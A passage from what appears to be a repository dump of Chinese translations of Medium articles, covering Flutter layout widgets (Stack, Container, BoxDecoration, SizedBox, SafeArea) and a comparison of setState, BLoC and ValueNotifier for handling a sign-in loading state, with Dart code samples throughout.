<Widget>[\n      main,\n      Banner(\n        message: \"Top Start\",\n        location: BannerLocation.topStart,\n      ),\n      Banner(\n        message: \"Top End\",\n        location: BannerLocation.topEnd,\n      ),\n      Banner(\n        message: \"Bottom Start\",\n        location: BannerLocation.bottomStart,\n      ),\n      Banner(\n        message: \"Bottom End\",\n        location: BannerLocation.bottomEnd,\n      ),\n    ],\n  );\n}\n```\n\n***\n\n如果想使用自己的部件，需要将它们放置在 `Positioned` 里面\n\n![](https://cdn-images-1.medium.com/max/2000/1*CkTumWbumdO9Ka6Mwa4S2A.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Scaffold(\n    appBar: AppBar(title: Text('Stack')),\n    body: Stack(\n      fit: StackFit.expand,\n      children: <Widget>[\n        Material(color: Colors.yellowAccent),\n        Positioned(\n          top: 0,\n          left: 0,\n          child: Icon(Icons.star, size: 50),\n        ),\n        Positioned(\n          top: 340,\n          left: 250,\n          child: Icon(Icons.call, size: 50),\n        ),\n      ],\n    ),\n  );\n}\n```\n\n***\n\n如果你不想去猜测 top 或 bottom 的值，你可以使用 `LayoutBuilder` 来检索它们\n\n![](https://cdn-images-1.medium.com/max/2000/1*0_0q8qAbw4T_-gChblfV-A.png)\n\n```dart\nWidget build(BuildContext context) {\n  const iconSize = 50;\n  return Scaffold(\n    appBar: AppBar(title: Text('Stack with LayoutBuilder')),\n    body: LayoutBuilder(\n      builder: (context, constraints) =>\n        Stack(\n          fit: StackFit.expand,\n          children: <Widget>[\n            Material(color: Colors.yellowAccent),\n            Positioned(\n              top: 0,\n              child: Icon(Icons.star, size: iconSize),\n            ),\n            Positioned(\n              top: constraints.maxHeight - iconSize,\n              left: constraints.maxWidth - iconSize,\n              child: Icon(Icons.call, size: iconSize),\n            ),\n          ],\n        ),\n    ),\n  );\n}\n```\n\n***\n\n## Expanded\n\n`Expanded` 可以和 [Flex\\Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) 布局一起应用，并且非常适用于分配多元素的空间。\n\n![](https://cdn-images-1.medium.com/max/2000/1*7CQEUQgzAHvbmJQwnessWA.png)\n\n```dart\nRow(\n  children: <Widget>[\n    Expanded(\n      child: Container(\n        decoration: const BoxDecoration(color: Colors.red),\n      ),\n      flex: 3,\n    ),\n    Expanded(\n      child: Container(\n        decoration: const BoxDecoration(color: Colors.green),\n      ),\n      flex: 2,\n    ),\n    Expanded(\n      child: Container(\n        decoration: const BoxDecoration(color: Colors.blue),\n      ),\n      flex: 1,\n    ),\n  ],\n),\n```\n\n***\n\n## ConstrainedBox\n\n默认情况下，大多数组件都会使用尽可能小的空间：\n\n![](https://cdn-images-1.medium.com/max/2000/1*c3l5JxXfY6-v6awf2VgggA.png)\n\n```dart\nCard(child: const Text('Hello World!'), color: Colors.yellow)\n```\n\n***\n\n`ConstrainedBox` 让部件可以使用期望的剩余空间。\n\n![](https://cdn-images-1.medium.com/max/2000/1*QCTdn09Lb5uO4ZDuCGs1LA.png)\n\n```dart\nConstrainedBox( \n  constraints: BoxConstraints.expand(),\n  child: const Card(\n    child: const Text('Hello World!'), \n    color: Colors.yellow,\n  ), \n),\n```\n\n***\n\n你可以使用 `BoxConstraints` 指定部件可以使用多大的空间 —— 通过指定 `height`/`width` 的 `min`/`max` 属性。\n\n`BoxConstraints.expand` 将会让组件使用无限制（所有可用）的空间，除非另有指定：\n\n![](https://cdn-images-1.medium.com/max/2000/1*q4nM3zvOd1PQFQMxCqZueQ.png)\n\n```dart\nConstrainedBox(\n  constraints: BoxConstraints.expand(height: 300),\n  child: const Card(\n    child: const Text('Hello World!'), \n    color: Colors.yellow,\n  ),\n),\n```\n\n上面代码和如下代码等效：\n\n```dart\nConstrainedBox(\n  constraints: BoxConstraints(\n    minWidth: double.infinity,\n    maxWidth: double.infinity,\n    minHeight: 300,\n    maxHeight: 300,\n  ),\n  child: const Card(\n    child: const Text('Hello World!'), \n    color: Colors.yellow,\n  ),\n),\n```\n\n***\n\n## Container\n\n最常用的部件之一 —— 并且它之所以这么常用是有原因的：\n\n### 用于布局工具的 Container\n\n如果你没有指定 `Container` 的 `height` 和 `width`，它将和 `child` 的大小相同\n\n![](https://cdn-images-1.medium.com/max/2000/1*PLsAfFDKge7Gr7yl3M_iTA.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Scaffold(\n    appBar: AppBar(title: Text('Container as a layout')),\n    body: Container(\n      color: Colors.yellowAccent,\n      child: Text(\"Hi\"),\n    ),\n  );\n}\n```\n\n如果你想要 `Container` 扩大到和它的父级元素相等，对 `height` 和 `width` 属性使用 `double.infinity`\n\n![](https://cdn-images-1.medium.com/max/2000/1*6Q_ynFTU1rDVZ65VCJsPlQ.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Scaffold(\n    appBar: AppBar(title: Text('Container as a layout')),\n    body: Container(\n      height: double.infinity,\n      width: double.infinity,\n      color: Colors.yellowAccent,\n      child: Text(\"Hi\"),\n    ),\n  );\n}\n```\n\n### Container 的装饰\n\n你可以使用 color 属性来改变 `Container` 的背景色，但是 `decoration` 和 `foregroundDecoration` 则可以做更多。（使用这两个属性，你可以彻底改变 `Container` 的外观，这部分我将在后续讨论，因为这部分内容很多）\n`decoration` 总会放置在 child 后面，而 `foregroundDecoration` 则在 `child` 的上面。\n\n![decoration](https://cdn-images-1.medium.com/max/2000/1*EEpMF6tWMyvvsFF1yY_ewg.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Scaffold(\n    appBar: AppBar(title: Text('Container.decoration')),\n    body: Container(\n      height: double.infinity,\n      width: double.infinity,\n      decoration: BoxDecoration(color: Colors.yellowAccent),\n      child: Text(\"Hi\"),\n    ),\n  );\n}\n```\n\n***\n\n![decoration and foregroundDecoration](https://cdn-images-1.medium.com/max/2000/1*oOc21UE45kMa3dOSEikwHg.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Scaffold(\n    appBar: AppBar(title: Text('Container.foregroundDecoration')),\n    body: Container(\n      height: double.infinity,\n      width: double.infinity,\n      decoration: BoxDecoration(color: Colors.yellowAccent),\n      foregroundDecoration: BoxDecoration(color: Colors.red.withOpacity(0.5)),\n      child: Text(\"Hi\"),\n    ),\n  );\n}\n```\n\n### Container 的变换\n\n如果你不想使用 `Transform` 部件来改变你的布局，你可以使用 `Container` 的 `transform` 属性\n\n![](https://cdn-images-1.medium.com/max/2000/1*pILEI4FBwKC1o422vFVhWw.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Scaffold(\n    appBar: AppBar(title: Text('Container.transform')),\n    body: Container(\n      height: 300,\n      width: 300,\n      transform: Matrix4.rotationZ(pi / 4),\n      decoration: BoxDecoration(color: Colors.yellowAccent),\n      child: Text(\n        \"Hi\",\n        textAlign: TextAlign.center,\n      ),\n    ),\n  );\n}\n```\n\n***\n\n## BoxDecoration\n\n装饰效果通常用于容器组件，来改变组件的外观。\n\n### 图片（image）：DecorationImage\n\n将图片作为背景：\n\n![](https://cdn-images-1.medium.com/max/2000/1*_o7CH527uIZExmX1d_zb3Q.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('image: DecorationImage')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      decoration: BoxDecoration(\n        color: Colors.yellow,\n        image: DecorationImage(\n          fit: BoxFit.fitWidth,\n          image: NetworkImage(\n            'https://flutter.io/images/catalog-widget-placeholder.png',\n          ),\n        ),\n      ),\n    ),\n  ),\n);\n```\n\n### 边框（border）：Border\n\n指定容器的边框样式。\n\n![](https://cdn-images-1.medium.com/max/2000/1*VdNLdpwXhSJ1IXSl37HzZg.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('border: Border')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      decoration: BoxDecoration(\n        color: Colors.yellow,\n        border: Border.all(color: Colors.black, width: 3),\n      ),\n    ),\n  ),\n);\n```\n\n### 边框半径（borderRadius）：BorderRadius\n\n让边框可以是圆角。\n\n**如果装饰的 `shape` 是 `BoxShape.circle`，那么 `borderRadius` 将无效**\n\n![](https://cdn-images-1.medium.com/max/2000/1*jTE5_KqVyQFEwL8CwGNueQ.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('borderRadius: BorderRadius')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      decoration: BoxDecoration(\n          color: Colors.yellow,\n          border: Border.all(color: Colors.black, width: 3),\n          borderRadius: BorderRadius.all(Radius.circular(18))),\n    ),\n  ),\n);\n```\n\n### 形状（shape）：BoxShape\n\n盒子的形状可以是长方形、正方形、椭圆或者圆形。\n\n**对于其他任意形状，你应该使用 `ShapeDecoration` 而不是 `BoxDecoration`**\n\n![](https://cdn-images-1.medium.com/max/2000/1*7dqVoqn733edfeCVlEe25A.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('shape: BoxShape')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      decoration: BoxDecoration(\n        color: Colors.yellow,\n        shape: BoxShape.circle,\n      ),\n    ),\n  ),\n);\n```\n\n### 阴影（boxShadow）：`List<BoxShadow>`\n\n可以给容器添加阴影。\n\n这个参数是一个列表，这样你就可以定义多种不同的阴影，然后将它们组合在一起。\n\n![](https://cdn-images-1.medium.com/max/2000/1*h6w8aT1pJvb9lUlHJWELbg.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('boxShadow: List<BoxShadow>')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      decoration: BoxDecoration(\n        color: Colors.yellow,\n        boxShadow: const [\n          BoxShadow(blurRadius: 10),\n        ],\n      ),\n    ),\n  ),\n);\n```\n\n### 渐变（gradient）\n\n有三种类型的渐变：`LinearGradient`、`RadialGradient` 和 `SweepGradient`。\n\n![`LinearGradient`](https://cdn-images-1.medium.com/max/2000/1*GDq_OI7bwYyOgOXQ88Dxvw.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('gradient: LinearGradient')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      decoration: BoxDecoration(\n        gradient: LinearGradient(\n          colors: const [\n            Colors.red,\n            Colors.blue,\n          ],\n        ),\n      ),\n    ),\n  ),\n);\n```\n\n***\n\n![RadialGradient](https://cdn-images-1.medium.com/max/2000/1*wXgArqqmEpK-VNEkKGCAYQ.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('gradient: RadialGradient')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      decoration: BoxDecoration(\n        gradient: RadialGradient(\n          colors: const [Colors.yellow, Colors.blue],\n          stops: const [0.4, 1.0],\n        ),\n      ),\n    ),\n  ),\n);\n```\n\n***\n\n![SweepGradient](https://cdn-images-1.medium.com/max/2000/1*QWdTe81Boo0UVv4slujaLQ.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('gradient: SweepGradient')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      decoration: BoxDecoration(\n        gradient: SweepGradient(\n          colors: const [\n            Colors.blue,\n            Colors.green,\n            Colors.yellow,\n            Colors.red,\n            Colors.blue,\n          ],\n          stops: const [0.0, 0.25, 0.5, 0.75, 1.0],\n        ),\n      ),\n    ),\n  ),\n);\n```\n\n### 背景混合模式（backgroundBlendMode）\n\n`backgroundBlendMode` 是 `BoxDecoration` 中最复杂的属性。\n它可以混合 `BoxDecoration` 的颜色和渐变，并且无论 `BoxDecoration` 在何种元素之上。\n\n有了 `backgroundBlendMode`，你可以使用 `BlendMode` 枚举类型中的一长串算法。\n\n首先，配置 `BoxDecoration` 为 `foregroundDecoration`，它被渲染于 `Container` 子元素的上方（而 `decoration` 被渲染于子元素的后面）。\n\n![](https://cdn-images-1.medium.com/max/2000/1*oEl3AuLzeAfwJPDguSOVkg.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('backgroundBlendMode')),\n  body: Center(\n    child: Container(\n      height: 200,\n      width: 200,\n      foregroundDecoration: BoxDecoration(\n        backgroundBlendMode: BlendMode.exclusion,\n        gradient: LinearGradient(\n          colors: const [\n            Colors.red,\n            Colors.blue,\n          ],\n        ),\n      ),\n      child: Image.network(\n        'https://flutter.io/images/catalog-widget-placeholder.png',\n      ),\n    ),\n  ),\n);\n```\n\n`backgroundBlendMode` 不仅影响它所在的 `Container`。\n\n`backgroundBlendMode` 能改变从 `Container` 的部件树中任意部件的颜色。\n下面这段代码中，有一个作为父级元素的 `Container`，它渲染了一张图片 `image` 和一个使用了 `backgroundBlendMode` 的子元素 `Container`。你仍旧会得到和前一段代码相同的效果。\n\n![](https://cdn-images-1.medium.com/max/2000/1*odhlbvPiq6RDvopcWdl2ZA.png)\n\n```dart\nScaffold(\n  appBar: AppBar(title: Text('backgroundBlendMode')),\n  body: Center(\n    child: Container(\n      decoration: BoxDecoration(\n        image: DecorationImage(\n          image: NetworkImage(\n            'https://flutter.io/images/catalog-widget-placeholder.png',\n          ),\n        ),\n      ),\n      child: Container(\n        height: 200,\n        width: 200,\n        foregroundDecoration: BoxDecoration(\n          backgroundBlendMode: BlendMode.exclusion,\n          gradient: LinearGradient(\n            colors: const [\n              Colors.red,\n              Colors.blue,\n            ],\n          ),\n        ),\n      ),\n    ),\n  ),\n);\n```\n\n***\n\n## SizedBox\n\n这是最简单但是最有用的部件\n\n### 用作 ConstrainedBox 的 SizedBox\n\n`SizedBox` 可以实现和 `ConstrainedBox` 相似的效果\n\n![](https://cdn-images-1.medium.com/max/2000/1*Zc3fvnsiRq_P_8luY2_BCQ.png)\n\n```dart\nSizedBox.expand(\n  child: Card(\n    child: Text('Hello World!'),\n    color: Colors.yellowAccent,\n  ),\n),\n```\n\n***\n\n### 用作内边距的 SizedBox\n\n如果你需要添加内边距或者外边距，你可以选择 `Padding` 或者 `Container` 部件。但是它们都不如添加 `Sizedbox` 简单易读\n\n![](https://cdn-images-1.medium.com/max/2000/1*UuPNTwfn0_U-PnczL0rSqg.png)\n\n```dart\nColumn(\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    const SizedBox(height: 100),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n### 用作不可见对象的 SizedBox\n\n很多时候你希望通过一个布尔值（`bool`）来控制组件的显示和隐藏\n\n![](https://cdn-images-1.medium.com/max/2000/1*80OncmeIsFh_T__VRTtO5A.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*l6RFIsNdaX5p5Xj_HbZ0Iw.png)\n\n```dart\nWidget build(BuildContext context) {\n  bool isVisible = ...\n  return Scaffold(\n    appBar: AppBar(\n      title: Text('isVisible = $isVisible'),\n    ),\n    body: isVisible \n      ? Icon(Icons.star, size: 150) \n      : const SizedBox(),\n  );\n}\n```\n\n由于 `SizedBox` 有一个 `const` 构造函数，使用 `const SizedBox()` 就变得非常简单。\n\n更简单的解决方案是使用 `Opacity` 部件，然后将 `opacity` 的值改成 `0.0`。这个方案的缺点是虽然组件不可见，但是它依旧占据空间。\n\n***\n\n## SafeArea\n\n在不同的平台上，有很多特殊的位置，比如 Android 系统的状态栏，或者 iPhone X 的“齐刘海”，我们应该避免在这些位置放置元素。\n\n解决方案就是使用 `SafeArea` 部件（下面的例子分别是使用和没使用 `SafeArea` 的效果）\n\n![](https://cdn-images-1.medium.com/max/2000/1*zaPTNnqSOLy4zj-usj-3Mw.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*nbp1xowGxriVW9aNQn_20A.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Material(\n    color: Colors.blue,\n    child: SafeArea(\n      child: SizedBox.expand(\n        child: Card(color: Colors.yellowAccent),\n      ),\n    ),\n  );\n}\n```\n\n***\n\n**更多内容敬请期待**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-state-management-setstate-bloc-valuenotifier-provider.md",
    "content": "> * 原文地址：[Flutter State Management: setState, BLoC, ValueNotifier, Provider](https://medium.com/coding-with-flutter/flutter-state-management-setstate-bloc-valuenotifier-provider-2c11022d871b)\n> * 原文作者：[Andrea Bizzotto](https://medium.com/@biz84)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-state-management-setstate-bloc-valuenotifier-provider.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-state-management-setstate-bloc-valuenotifier-provider.md)\n> * 译者：[talisk](https://github.com/talisk)\n> * 校对者：[Fxy4ever](https://github.com/Fxy4ever)\n\n# Flutter 的状态管理方案：setState、BLoC、ValueNotifier、Provider\n\n![](https://cdn-images-1.medium.com/max/3200/1*rXFefCEa1qbzIq7sefbZDA.jpeg)\n\n本文是[这个视频](https://youtu.be/7eaV9gSnaXw)中的重点内容，我们比较了不同的状态管理方案。\n\n例如，我们使用简单的身份验证流程。当登录请求发起时，设置正在加载中的状态。\n\n为简单起见，此流程由三种可能的状态组成：\n\n![](https://cdn-images-1.medium.com/max/4676/1*OhO8kZJhTODjQj_CZfGZBQ.png)\n\n图上的状态可以由如下状态机表示，其中包括**加载**状态和**认证**状态：\n\n![](https://cdn-images-1.medium.com/max/2000/1*Oumxsqd0R9E2KgbBNfzfOA.png)\n\n当登录的请求正在进行中，我们会禁用登录按钮并展示进度指示器。\n\n此示例 app 展示了如何使用各种状态管理方案处理加载状态。\n\n## 主要导航\n\n登录页面的主要导航是通过一个小部件实现的，该小部件使用 [Drawer](https://api.flutter.dev/flutter/material/Drawer-class.html) 菜单在不同选项中进行选择。\n\n![](https://cdn-images-1.medium.com/max/2700/1*FSD9i9fNx2YkhC-6dyvRmg.png)\n\n代码如下：\n\n```Dart\nclass SignInPageNavigation extends StatelessWidget {\n  const SignInPageNavigation({Key key, this.option}) : super(key: key);\n  final ValueNotifier<Option> option;\n\n  Option get _option => option.value;\n  OptionData get _optionData => optionsData[_option];\n\n  void _onSelectOption(Option selectedOption) {\n    option.value = selectedOption;\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return Scaffold(\n      appBar: AppBar(\n        title: Text(_optionData.title),\n      ),\n      drawer: MenuSwitcher(\n        options: optionsData,\n        selectedOption: _option,\n        onSelected: _onSelectOption,\n      ),\n      body: _buildContent(context),\n    );\n  }\n\n  Widget _buildContent(BuildContext context) {\n    switch (_option) {\n      case Option.vanilla:\n        return SignInPageVanilla();\n      case Option.setState:\n        return SignInPageSetState();\n      case Option.bloc:\n        return SignInPageBloc.create(context);\n      case Option.valueNotifier:\n        return SignInPageValueNotifier.create(context);\n      default:\n        return Container();\n    }\n  }\n}\n```\n\n这个 widget 展示了这样一个 `Scaffold`：\n\n* `AppBar` 的标题是选中的项目名称\n* drawer 使用了自定义构造器 `MenuSwitcher`\n* body 使用了一个 switch 语句来区分不同的页\n\n## 参考流程（vanilla）\n\n要启用登录，我们可以从没有加载状态的简易 vanilla 实现开始：\n\n```Dart\nclass SignInPageVanilla extends StatelessWidget {\n  Future<void> _signInAnonymously(BuildContext context) async {\n    try {\n      final auth = Provider.of<AuthService>(context);\n      await auth.signInAnonymously();\n    } on PlatformException catch (e) {\n      await PlatformExceptionAlertDialog(\n        title: '登录失败',\n        exception: e,\n      ).show(context);\n    }\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return Center(\n      child: SignInButton(\n        text: '登录',\n        onPressed: () => _signInAnonymously(context),\n      ),\n    );\n  }\n}\n\n```\n\n当点击 `SignInButton` 按钮，就调用 `_signInAnonymously` 方法。\n\n这里使用了 [Provider](https://pub.dev/packages/provider) 来获取 `AuthService` 对象，并将它用于登录。\n\n**札记**\n\n* `AuthService` 是一个对 Firebase Authentication 的简单封装。详情请见[这篇文章](https://medium.com/coding-with-flutter/flutter-designing-an-authentication-api-with-service-classes-45ec8d55963e)。\n* 身份验证状态由一个祖先 widget 处理，该 widget 使用 `onAuthStateChanged` 来决定展示哪个页面。我在[前一篇文章](https://medium.com/coding-with-flutter/super-simple-authentication-flow-with-flutter-firebase-737bba04924c)中介绍了这一点。\n\n## setState\n\n加载状态可以经过以下流程，添加到刚刚的实现中：\n\n* 将我们的 widget 转化为 `StatefulWidget`\n* 定义一个局部 state 变量\n* 将该 state 放进 build 方法中\n* 在登录前和登录后更新它\n\n以下是最终代码：\n\n```Dart\nclass SignInPageSetState extends StatefulWidget {\n  @override\n  _SignInPageSetStateState createState() => _SignInPageSetStateState();\n}\n\nclass _SignInPageSetStateState extends State<SignInPageSetState> {\n  bool _isLoading = false;\n\n  Future<void> _signInAnonymously() async {\n    try {\n      setState(() => _isLoading = true);\n      final auth = Provider.of<AuthService>(context);\n      await auth.signInAnonymously();\n    } on PlatformException catch (e) {\n      await PlatformExceptionAlertDialog(\n        title: '登录失败',\n        exception: e,\n      ).show(context);\n    } finally {\n      setState(() => _isLoading = false);\n    }\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return Center(\n      child: SignInButton(\n        text: '登录',\n        loading: _isLoading,\n        onPressed: _isLoading ? null : () => _signInAnonymously(),\n      ),\n    );\n  }\n}\n```\n\n**重要提示**：请注意我们如何使用 [`finally`](https://dart.dev/guides/language/language-tour#finally) 闭包。无论是否抛出异常，这都可被用于执行某些代码。\n\n## BLoC\n\n加载状态可以由 BLoC 中，stream 的值表示。\n\n我们需要一些额外的示例代码来设置：\n\n```Dart\nclass SignInBloc {\n  final _loadingController = StreamController<bool>();\n  Stream<bool> get loadingStream => _loadingController.stream;\n\n  void setIsLoading(bool loading) => _loadingController.add(loading);\n\n  dispose() {\n    _loadingController.close();\n  }\n}\n\nclass SignInPageBloc extends StatelessWidget {\n  const SignInPageBloc({Key key, @required this.bloc}) : super(key: key);\n  final SignInBloc bloc;\n\n  static Widget create(BuildContext context) {\n    return Provider<SignInBloc>(\n      builder: (_) => SignInBloc(),\n      dispose: (_, bloc) => bloc.dispose(),\n      child: Consumer<SignInBloc>(\n        builder: (_, bloc, __) => SignInPageBloc(bloc: bloc),\n      ),\n    );\n  }\n\n  Future<void> _signInAnonymously(BuildContext context) async {\n    try {\n      bloc.setIsLoading(true);\n      final auth = Provider.of<AuthService>(context);\n      await auth.signInAnonymously();\n    } on PlatformException catch (e) {\n      await PlatformExceptionAlertDialog(\n        title: '登录失败',\n        exception: e,\n      ).show(context);\n    } finally {\n      bloc.setIsLoading(false);\n    }\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return StreamBuilder<bool>(\n      stream: bloc.loadingStream,\n      initialData: false,\n      builder: (context, snapshot) {\n        final isLoading = snapshot.data;\n        return Center(\n          child: SignInButton(\n            text: '登录',\n            loading: isLoading,\n            onPressed: isLoading ? null : () => _signInAnonymously(context),\n          ),\n        );\n      },\n    );\n  }\n}\n```\n\n简而言之，这段代码：\n\n* 使用 `StreamController<bool>` 添加一个 `SignInBloc`，用于处理加载状态。\n* 通过静态 `create` 方法中的 Provider / Consumer，让 `SignInBloc` 可以访问我们的 widget。\n* 在 `_signInAnonymously` 方法中，通过调用 `bloc.setIsLoading(value)` 来更新 stream。\n* 通过 `StreamBuilder` 来检查加载状态，并使用它来设置登录按钮。\n\n## 关于 RxDart 的注意事项\n\n`BehaviorSubject` 是一种特殊的 stream 控制器，它允许我们**同步地**访问 stream 的最后一个值。\n\n作为 BloC 的替代方案，我们可以使用 `BehaviorSubject` 来跟踪加载状态，并根据需要进行更新。\n\n我会通过 [GitHub 项目](https://github.com/bizz84/simple_auth_comparison_flutter) 来展示具体如何实现。\n\n## ValueNotifier\n\n[`ValueNotifier`](https://api.flutter.dev/flutter/foundation/ValueNotifier-class.html) 可以被用于持有一个值，并当它变化的时候通知它的监听者。\n\n实现相同的流程代码如下：\n\n```Dart\nclass SignInPageValueNotifier extends StatelessWidget {\n  const SignInPageValueNotifier({Key key, this.loading}) : super(key: key);\n  final ValueNotifier<bool> loading;\n\n  static Widget create(BuildContext context) {\n    return ChangeNotifierProvider<ValueNotifier<bool>>(\n      builder: (_) => ValueNotifier<bool>(false),\n      child: Consumer<ValueNotifier<bool>>(\n        builder: (_, ValueNotifier<bool> isLoading, __) =>\n            SignInPageValueNotifier(\n              loading: isLoading,\n            ),\n      ),\n    );\n  }\n\n  Future<void> _signInAnonymously(BuildContext context) async {\n    try {\n      loading.value = true;\n      final auth = Provider.of<AuthService>(context);\n      await auth.signInAnonymously();\n    } on PlatformException catch (e) {\n      await PlatformExceptionAlertDialog(\n        title: '登录失败',\n        exception: e,\n      ).show(context);\n    } finally {\n      loading.value = false;\n    }\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return Center(\n      child: SignInButton(\n        text: '登录',\n        loading: loading.value,\n        onPressed: loading.value ? null : () => _signInAnonymously(context),\n      ),\n    );\n  }\n}\n```\n\n在 `静态 create` 方法中，我们使用了 `ValueNotifier<bool>` 的 [`ChangeNotifierProvider`](https://pub.dev/documentation/provider/latest/provider/ChangeNotifierProvider-class.html) 和 [`Consumer`](https://pub.dev/documentation/provider/latest/provider/Consumer-class.html)，这为我们提供了一种表示加载状态的方法，并在更改时重建 widget。\n\n## ValueNotifier vs ChangeNotifier\n\n[`ValueNotifier`](https://api.flutter.dev/flutter/foundation/ValueNotifier-class.html) 和 [`ChangeNotifier`](https://api.flutter.dev/flutter/foundation/ChangeNotifier-class.html) 密切相关。\n\n实际上，`ValueNotifier` 就是实现了 `ValueListenable<T>` 的 `ChangeNotifier` 的子类。\n\n这是 Flutter SDK 中 `ValueNotifier` 的实现：\n\n```Dart\n/// A [ChangeNotifier] that holds a single value.\n///\n/// When [value] is replaced with something that is not equal to the old\n/// value as evaluated by the equality operator ==, this class notifies its\n/// listeners.\nclass ValueNotifier<T> extends ChangeNotifier implements ValueListenable<T> {\n  /// Creates a [ChangeNotifier] that wraps this value.\n  ValueNotifier(this._value);\n\n  /// The current value stored in this notifier.\n  ///\n  /// When the value is replaced with something that is not equal to the old\n  /// value as evaluated by the equality operator ==, this class notifies its\n  /// listeners.\n  @override\n  T get value => _value;\n  T _value;\n  set value(T newValue) {\n    if (_value == newValue)\n      return;\n    _value = newValue;\n    notifyListeners();\n  }\n\n  @override\n  String toString() => '${describeIdentity(this)}($value)';\n}\n```\n\n所以我们应该什么时候用 `ValueNotifier`，什么时候用 `ChangeNotifier` 呢？\n\n* 如果在简单值更改时需要重建 widget，请使用 `ValueNotifier`。\n* 如果你想在 `notifyListeners()` 调用时有更多掌控，请使用 `ChangeNotifier`。\n\n## 关于 ScopedModel 的注意事项\n\n`ChangeNotifierProvider` 非常类似于 [ScopedModel](https://pub.dev/packages/scoped_model)。实际上，他们之间几乎相同：\n\n* `ScopedModel` ↔︎ `ChangeNotifierProvider`\n* `ScopedModelDescendant` ↔︎ `Consumer`\n\n因此，如果你已经在使用 Provider，则不需要 ScopedModel，因为 `ChangeNotifierProvider` 提供了相同的功能。\n\n## 最后的比较\n\n上述三种实现（setState、BLoC、ValueNotifier）非常相似，只是处理加载状态的方式不同。\n\n如下是他们的比较方式：\n\n* setState ↔︎ **最精简**的代码\n* BLoC ↔︎ **最多**的代码\n* ValueNotifier ↔︎ **中等水平**\n\n所以 `setState` 方案最适合**这个例子**，因为我们需要处理单个小部件的**各自的状态**。\n\n在构建自己的应用程序时，你可以根据具体情况来评估哪个方案更合适 😉\n\n## 小彩蛋：实现 Drawer 菜单\n\n跟踪当前选择的选项也是一个状态管理问题：\n\n![](https://cdn-images-1.medium.com/max/2700/1*FSD9i9fNx2YkhC-6dyvRmg.png)\n\n我首先在自定义 Drawer 菜单中使用本地状态变量和 `setState` 实现它。\n\n但是登录后状态丢失了，因为 Drawer 已经从 widget 树中删除。\n\n有一个方案，我决定在 `LandingPage` 中使用 `ChangeNotifierProvider<ValueNotifier<Option>>` 存储状态：\n\n```Dart\nclass LandingPage extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    // Used to keep track of the selected option across sign-in events\n    final authService = Provider.of<AuthService>(context);\n    return ChangeNotifierProvider<ValueNotifier<Option>>(\n      builder: (_) => ValueNotifier<Option>(Option.vanilla),\n      child: StreamBuilder<User>(\n        stream: authService.onAuthStateChanged,\n        builder: (context, snapshot) {\n          if (snapshot.connectionState == ConnectionState.active) {\n            User user = snapshot.data;\n            if (user == null) {\n              return Consumer<ValueNotifier<Option>>(\n                builder: (_, ValueNotifier<Option> option, __) =>\n                    SignInPageNavigation(option: option),\n              );\n            }\n            return HomePage();\n          } else {\n            return Scaffold(\n              body: Center(\n                child: CircularProgressIndicator(),\n              ),\n            );\n          }\n        },\n      ),\n    );\n  }\n}\n```\n\n这里使用 [`StreamBuilder`](https://api.flutter.dev/flutter/widgets/StreamBuilder-class.html) 来控制用户的身份验证状态。\n\n通过使用 `ChangeNotifierProvider<ValueNotifier<Option>>` 来包装它，即使在删除 `SignInPageNavigation` 之后，我也能保留所选的选项。\n\n总结如下：\n\n* 